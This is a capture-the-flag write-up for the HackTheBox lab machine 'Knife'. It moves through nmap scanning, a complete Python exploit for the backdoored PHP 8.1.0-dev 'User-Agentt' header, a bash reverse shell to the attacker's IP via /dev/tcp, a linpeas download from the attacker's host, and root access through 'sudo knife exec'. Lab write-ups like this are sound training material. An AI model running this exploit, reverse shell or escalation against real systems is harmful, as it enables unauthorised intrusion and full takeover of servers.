hacking-blogposts/Easy/63.md

269 lines
10 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Knife Writeup
![](img/63.png)
## Introduction :
Knife is an easy Linux box released back in May 2021.
## **Part 1 : Initial Enumeration**
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
[ 10.10.14.57/23 ] [ /dev/pts/0 ] [~/HTB]
→ sudo vim /etc/hosts
[sudo] password for nothing:
[ 10.10.14.57/23 ] [ /dev/pts/0 ] [~/HTB]
→ cat /etc/hosts | tail -n1
10.129.111.84 knife.htb
[ 10.10.14.57/23 ] [ /dev/pts/0 ] [~/HTB]
→ nmap -sCV knife.htb
Starting Nmap 7.92 ( https://nmap.org ) at 2022-04-28 21:44 CEST
Nmap scan report for knife.htb (10.129.111.84)
Host is up (0.039s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.82 seconds
## **Part 2 : Getting User Access**
Our nmap scan picked up port 80 so let's investigate it:
![](prg/63_001.png)
Here we see that the website is running PHP 8.1.0 so let's look for available exploits:
[ 10.66.66.2/32 ] [ /dev/pts/1 ] [~]
→ searchsploit php 8.1.0
PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution | php/webapps/49933.py
[ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Knife]
→ cp /usr/share/exploit-database/exploits/php/webapps/49933.py .
[ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Knife]
→ vim 49933.py
[ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Knife]
→ cat 49933.py
# Exploit Title: PHP 8.1.0-dev - 'User-Agentt' Remote Code Execution
# Date: 23 may 2021
# Exploit Author: flast101
# Vendor Homepage: https://www.php.net/
# Software Link:
# - https://hub.docker.com/r/phpdaily/php
# - https://github.com/phpdaily/php
# Version: 8.1.0-dev
# Tested on: Ubuntu 20.04
# References:
# - https://github.com/php/php-src/commit/2b0f239b211c7544ebc7a4cd2c977a5b7a11ed8a
# - https://github.com/vulhub/vulhub/blob/master/php/8.1-backdoor/README.zh-cn.md
"""
Blog: https://flast101.github.io/php-8.1.0-dev-backdoor-rce/
Download: https://github.com/flast101/php-8.1.0-dev-backdoor-rce/blob/main/backdoor_php_8.1.0-dev.py
Contact: flast101.sec@gmail.com
An early release of PHP, the PHP 8.1.0-dev version was released with a backdoor on March 28th 2021, but the backdoor was quickly discovered and removed. If this version of PHP runs on a server, an attacker can execute arbitrary code by sending the User-Agentt header.
The following exploit uses the backdoor to provide a pseudo shell ont the host.
"""
#!/usr/bin/env python3
import os
import re
import requests
host = input("Enter the full host url:\n")
request = requests.Session()
response = request.get(host)
if str(response) == '<****Response [200]>':
print("\nInteractive shell is opened on", host, "\nCan't acces tty; job crontol turned off.")
try:
while 1:
cmd = input("$ ")
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0",
"User-Agentt": "zerodiumsystem('" + cmd + "');"
}
response = request.get(host, headers = headers, allow_redirects = False)
current_page = response.text
stdout = current_page.split(' <****!DOCTYPE html>',1)
text = print(stdout[0])
except KeyboardInterrupt:
print("Exiting...")
exit
else:
print("\r")
print(response)
print("Host is not available, aborting...")
exit
Now let's try that exploit:
[ 10.66.66.2/32 ] [ /dev/pts/1 ] [~/HTB/Knife]
→ python3 49933.py
Enter the full host url:
http://knife.htb
Interactive shell is opened on http://knife.htb
Can't acces tty; job crontol turned off.
$ id
uid=1000(james) gid=1000(james) groups=1000(james)
And we got a shell as the james user! Now let's upgrade our shell to a fully interactive TTY:
[term1]
[ 10.10.14.68/23 ] [ /dev/pts/15 ] [~/HTB/Knife]
→ nc -lvnp 9001
[term2]
$ bash -c "bash -i >& /dev/tcp/10.10.14.68/9001 0>&1"
[term1]
[ 10.10.14.68/23 ] [ /dev/pts/15 ] [~/HTB/Knife]
→ nc -lvnp 9001
Connection from 10.129.111.84:45348
bash: cannot set terminal process group (893): Inappropriate ioctl for device
bash: no job control in this shell
james@knife:/$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
james@knife:/$ ^Z
[1] + 269384 suspended nc -lvnp 9001
[ 10.10.14.68/23 ] [ /dev/pts/15 ] [~/HTB/Knife]
→ stty raw -echo ; fg
[1] + 269384 continued nc -lvnp 9001
james@knife:/$ export TERM=screen-256color
james@knife:/$ export SHELL=bash
james@knife:/$ stty rows 40 columns 125
james@knife:/$ reset
Now with this we have a fully interactive shell to work with. Let's grab the user flag:
james@knife:/$ cd ~
james@knife:~$ pwd
/home/james
james@knife:~$ cat user.txt
b6XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
## **Part 3 : Getting Root Access**
Now in order to escalate privileges let's run linpeas.sh on the target machine:
[term1]
[ 10.10.14.68/23 ] [ /dev/pts/14 ] [~/HTB/Knife]
→ cp /home/nothing/HTB/Cap/linpeas.sh .
[ 10.10.14.68/23 ] [ /dev/pts/14 ] [~/HTB/Knife]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
10.129.111.84 - - [29/Apr/2022 21:15:53] "GET /linpeas.sh HTTP/1.1" 200 -
[term2]
james@knife:~$ wget http://10.10.14.68:9090/linpeas.sh -O /tmp/peas.sh
--2022-04-29 19:15:45-- http://10.10.14.68:9090/linpeas.sh
Connecting to 10.10.14.68:9090... connected.
HTTP request sent, awaiting response... 200 OK
Length: 776167 (758K) [application/x-sh]
Saving to: /tmp/peas.sh
2022-04-29 19:15:46 (1.05 MB/s) - /tmp/peas.sh saved [776167/776167]
james@knife:~$ chmod +x /tmp/peas.sh
james@knife:~$ /tmp/peas.sh
` ![](prg/63_002.png)
Looking at the output we see the following:
![](prg/63_003.png)
Here we have the knife binary file which can be ran as root by the user james without any password, so let's see what it does:
james@knife:~$ /usr/bin/knife --help
Chef Infra Client: 16.10.8
Docs: https://docs.chef.io/workstation/knife/
Patents: https://www.chef.io/patents
Usage: knife sub-command (options)
-s, --server-url URL Chef Infra Server URL.
--chef-zero-host HOST Host to start Chef Infra Zero on.
--chef-zero-port PORT Port (or port range) to start Chef Infra Zero on. Port ranges like 1000,1010 or 8889-9999 will try all given ports until one works.
-k, --key KEY Chef Infra Server API client key.
--[no-]color Use colored output, defaults to enabled.
-c, --config CONFIG The configuration file to use.
--config-option OPTION=VALUE Override a single configuration option.
--defaults Accept default values for all questions.
-d, --disable-editing Do not open EDITOR, just accept the data as is.
-e, --editor EDITOR Set the editor to use for interactive commands.
-E, --environment ENVIRONMENT Set the Chef Infra Client environment (except for in searches, where this will be flagrantly ignored).
--[no-]fips Enable FIPS mode.
-F, --format FORMAT Which format to use for output. (valid options: 'summary', 'text', 'json', 'yaml', or 'pp')
--[no-]listen Whether a local mode (-z) server binds to a port.
-z, --local-mode Point knife commands at local repository instead of Chef Infra Server.
-u, --user USER Chef Infra Server API client username.
--print-after Show the data after a destructive operation.
--profile PROFILE The credentials profile to select.
-V, --verbose More verbose output. Use twice (-VV) for additional verbosity and three times (-VVV) for maximum verbosity.
-v, --version Show Chef Infra Client version.
-y, --yes Say yes to all prompts for confirmation.
-h, --help Show this help message.
Available subcommands: (for details, knife SUB-COMMAND --help)
According to the documentation, this [knife](https://docs.chef.io/workstation/knife/) binary is a command-line tool that provides an interface between a local chef-repo and the Chef Infra Server. And it has a [gtfobin](https://gtfobins.github.io/gtfobins/knife/#sudo):
james@knife:~$ sudo knife exec -E 'exec "/bin/sh"'
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
a1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to get the root flag!
## **Conclusion**
Here we can see the progress graph :
![](img/63_graph.png)